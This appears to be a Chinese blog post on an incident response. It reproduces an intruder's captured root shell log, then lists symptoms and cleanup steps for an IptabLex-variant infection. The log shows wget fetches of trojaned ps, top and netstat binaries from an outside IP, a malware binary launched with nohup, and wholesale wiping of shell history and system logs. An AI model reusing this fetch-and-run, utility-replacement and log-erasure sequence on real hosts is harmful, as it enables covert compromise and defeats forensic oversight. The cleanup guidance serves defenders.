天天看點

Linux主機被黑過程和簡單處理

下面是一台公網主機被黑的過程

(以下記錄通過PROMPT_COMMAND系統環境變量背景抓取)

Nov 24 03:24:32 ***: [euid=root]::[/root]# 

Nov 24 03:24:34 ***: [euid=root]::[/root]# history

Nov 24 03:26:52 ***: [euid=root]::[/root]# wget http://222.186.31.229:52636/libproc-3.2.5.so

Nov 24 03:26:55 ***: [euid=root]::[/root]# wget http://222.186.31.229:52636/ps

Nov 24 03:26:57 ***: [euid=root]::[/root]# wget http://222.186.31.229:52636/top

Nov 24 03:27:00 ***: [euid=root]::[/root]# wget http://222.186.31.229:52636/netstat

Nov 24 03:27:03 ***: [euid=root]::[/root]# chmod 777 ps

Nov 24 03:27:05 ***: [euid=root]::[/root]# chmod 777 top

Nov 24 03:27:08 ***: [euid=root]::[/root]# chmod 777 netstat

Nov 24 03:27:11 ***: [euid=root]::[/root]# cp libproc-3.2.5.so /usr/lib64

Nov 24 03:27:14 ***: [euid=root]::[/root]# rm -f /bin/ps

Nov 24 03:27:16 ***: [euid=root]::[/root]# rm -f /usr/bin/top

Nov 24 03:27:19 ***: [euid=root]::[/root]# rm -f /bin/netstat

Nov 24 03:27:21 ***: [euid=root]::[/root]# cp top /usr/bin

Nov 24 03:27:24 ***: [euid=root]::[/root]# cp ps /bin

Nov 24 03:27:29 ***: [euid=root]::[/root]# cp netstat /bin

Nov 24 03:27:33 ***: [euid=root]::[/root]# ps -ef

Nov 24 03:27:35 ***: [euid=root]::[/root]# top

Nov 24 03:27:38 ***: [euid=root]::[/root]# netstat -anp

Nov 24 03:27:40 ***: [euid=root]::[/root]# netstat -an

Nov 24 03:27:50 ***: [euid=root]::[/root]# wget http://222.186.31.229:52636/Internet

Nov 24 03:27:52 ***: [euid=root]::[/root]# chmod 0755 /root/Internet

Nov 24 03:27:56 ***: [euid=root]::[/root]# nohup /root/Internet > /dev/null 2>&1 &

Nov 24 03:27:57 ***: [euid=root]::[/root]# ls

Nov 24 03:28:01 ***: [euid=root]::[/root]# rm -rf Internet

Nov 24 03:28:03 ***: [euid=root]::[/root]# rm -rf ps

Nov 24 03:28:05 ***: [euid=root]::[/root]# rm -rf top

Nov 24 03:28:08 ***: [euid=root]::[/root]# rm -rf libproc-3.2.5.so

Nov 24 03:28:10 ***: [euid=root]::[/root]# rm -rf netstat

Nov 24 03:28:10 ***: [euid=root]::[/root]# ls

Nov 24 03:28:14 ***: [euid=root]::[/root]# rm -rf fake.cfg

Nov 24 03:28:15 ***: [euid=root]::[/root]# ls

Nov 24 03:28:21 ***: [euid=root]::[/root]# rm -rf .bash_history

Nov 24 03:28:23 ***: [euid=root]::[/root]# 

Nov 24 03:28:24 ***: [euid=root]::[/root]# history

Nov 24 03:28:30 ***: [euid=root]::[/root]# rm -rf /root/.bash_history

Nov 24 03:28:30 ***: [euid=root]::[/root]# 

Nov 24 03:28:30 ***: [euid=root]::[/root]# echo>/var/log/syslog

Nov 24 03:28:30 ***: [euid=root]::[/root]# echo>/var/log/messages

Nov 24 03:28:30 ***: [euid=root]::[/root]# echo>/var/log/httpd/access_log

Nov 24 03:28:30 ***: [euid=root]::[/root]# echo>/var/log/httpd/error_log

Nov 24 03:28:30 ***: [euid=root]::[/root]# echo>/var/log/xferlog

Nov 24 03:28:30 ***: [euid=root]::[/root]# echo>/var/log/secure

Nov 24 03:28:30 ***: [euid=root]::[/root]# echo>/var/log/auth.log

Nov 24 03:28:30 ***: [euid=root]::[/root]# echo>/var/log/user.log

Nov 24 03:28:30 ***: [euid=root]::[/root]# echo>/var/log/wtmp

Nov 24 03:28:30 ***: [euid=root]::[/root]# echo>/var/log/lastlog

Nov 24 03:28:30 ***: [euid=root]::[/root]# echo>/var/log/btmp

Nov 24 03:28:30 ***: [euid=root]::[/root]# echo>/var/run/utmp

Nov 24 03:28:31 ***: [euid=root]::[/root]# rm -rf /root/.bash_history

Nov 24 03:28:31 ***: [euid=root]::[/root]# 

Nov 24 03:28:31 ***: [euid=root]::[/root]# echo>/var/log/syslog

Nov 24 03:28:31 ***: [euid=root]::[/root]# echo>/var/log/messages

Nov 24 03:28:31 ***: [euid=root]::[/root]# echo>/var/log/httpd/access_log

Nov 24 03:28:31 ***: [euid=root]::[/root]# echo>/var/log/httpd/error_log

Nov 24 03:28:31 ***: [euid=root]::[/root]# echo>/var/log/xferlog

Nov 24 03:28:31 ***: [euid=root]::[/root]# echo>/var/log/secure

Nov 24 03:28:31 ***: [euid=root]::[/root]# echo>/var/log/auth.log

Nov 24 03:28:31 ***: [euid=root]::[/root]# echo>/var/log/user.log

Nov 24 03:28:31 ***: [euid=root]::[/root]# echo>/var/log/wtmp

Nov 24 03:28:31 ***: [euid=root]::[/root]# echo>/var/log/lastlog

Nov 24 03:28:31 ***: [euid=root]::[/root]# echo>/var/log/btmp

Nov 24 03:28:31 ***: [euid=root]::[/root]# echo>/var/run/utmp

Nov 24 03:28:37 ***: [euid=root]::[/root]# rm -rf .bash_history

Nov 24 03:28:39 ***: [euid=root]::[/root]# 

Nov 24 03:28:40 ***: [euid=root]::[/root]# history

中招後的現象:

1、主機發包嚴重,阻塞網絡。

2、異常程序直接kill後會再次自動生成新的程序。

3、有些異常程序是随機名,kill後名字會變動

4、異常程序端口号是随機端口

異常的過程是IptabLex的變種,處理過程類似:

再查來源,有這麼幾個檔案:

/boot/IptabLes

/boot/IptabLex

/boot/.IptabLes

/boot/.IptabLex

# cat /boot/IptabLex

#!/bin/sh 

/boot/.IptabLex 

exit 0

# cat /boot/IptabLes

.IptabLes 和 .IptabLes 檔案,有可能是二進制檔案

killall -9 scc

killall -9 .IptabLes

killall -9 .IptabLex

killall -9 profile; killall -9 profileh; 

killall -9 install; killall -9 installh; 

killall -9 office; killall -9 officeh;

killall -9 history

killall -9 node

rm -f /boot/*IptabLes

rm -f /boot/*IptabLex

rm -f /boot/..IptabLes

rm -f /etc/rc.d/IptabLex

rm -f /etc/rc.d/rc2.d/*IptabLex

rm -f /etc/rc.d/rc2.d/*IptabLes

rm -f /etc/rc.d/rc3.d/*IptabLex

rm -f /etc/rc.d/rc3.d/*IptabLes

rm -f /etc/rc.d/rc4.d/*IptabLex

rm -f /etc/rc.d/rc4.d/*IptabLes

rm -f /etc/rc.d/rc5.d/*IptabLex

rm -f /etc/rc.d/rc5.d/*IptabLes

rm -f /etc/rc.d/IptabLes

rm -f /usr/.IptabLes

rm -f /usr/.IptabLex

rm -f /etc/rc.d/init.d/IptabLe*

并将被替換的系統指令進行修複。

以上處理基本可以解決問題。

存在一種棘手的情況,惡意程式會生成一堆類似系統程序的程序名,類似:

pwd

ps -ef

netstat -an

針對此類惡意程序,通過kill是無法完全清除。

需要清除/lib/libgcc*的庫檔案,防止惡意程式再次啟動。

1.清除/etc/crontab 中那行udev的,同時清除/etc/cron.hourly中udev.sh

2.netstat -enlp|more

kill程序中異常的端口和程序,有時是tcp有時有udp,程序名形如netstatps等,清幹淨後進行下一步

3.rm -rf /lib/libgcc*

4.檢視netstat -anlp netstat-enlp 均無異常程序和端口開放

本文轉自 cexpert 51CTO部落格,原文連結:http://blog.51cto.com/cexpert/1701067

繼續閱讀